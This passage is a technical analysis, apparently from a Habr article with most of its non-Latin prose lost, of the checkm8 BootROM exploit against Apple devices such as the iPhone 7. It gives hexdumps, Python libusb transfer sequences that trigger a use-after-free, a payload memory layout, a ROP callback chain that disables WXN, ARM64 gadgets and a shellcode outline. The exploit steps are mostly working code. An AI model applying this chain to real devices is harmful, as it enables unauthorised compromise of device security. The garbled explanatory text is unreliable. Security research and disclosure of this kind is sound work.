2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

, High Speed Full Speed , IO -. , , , . , .


2. IO-


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .


3. usb_device_io_request use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

usb_device_io_request t8010_overwrite , .


t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .


t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .


4.


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

. :


 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

USB usb_device_io_request . , callback . :


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

, 0x70 . f(x) f x .


, Unicorn Engine . uEmu .



iPhone 7 .


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

. , .


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

, , . , , .


5.3. enter_critical_section()


.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

, .


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never), RW . WXN - .


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 . BootROM , INSECURE_MEMORY .


5.8 tlbi


.


5.9. exit_critical_section()


.


5.10. 0x1800B0000


shellcode .


, callback-chainWXN shellcode RW -.


6. shellcode


shellcode src/checkm8_arm64.S :


6.1. USB -


usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .


6.2. USBSerialNumber


- , " PWND:[checkm8]" . , .


6.3. USB -


USB - , .


6.4. USB - TRAMPOLINE ( 0x1800AFC00 )


USB - wValue 0xffff , , . , : memcpy , memset exec ( ).


.


USB


Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .




. checkm8 . , . jailbreak-. , jailbreak checkm8checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .


jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .


Referencias


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. ipwndfu LinusHenze

Source: https://habr.com/ru/post/471668/


All Articles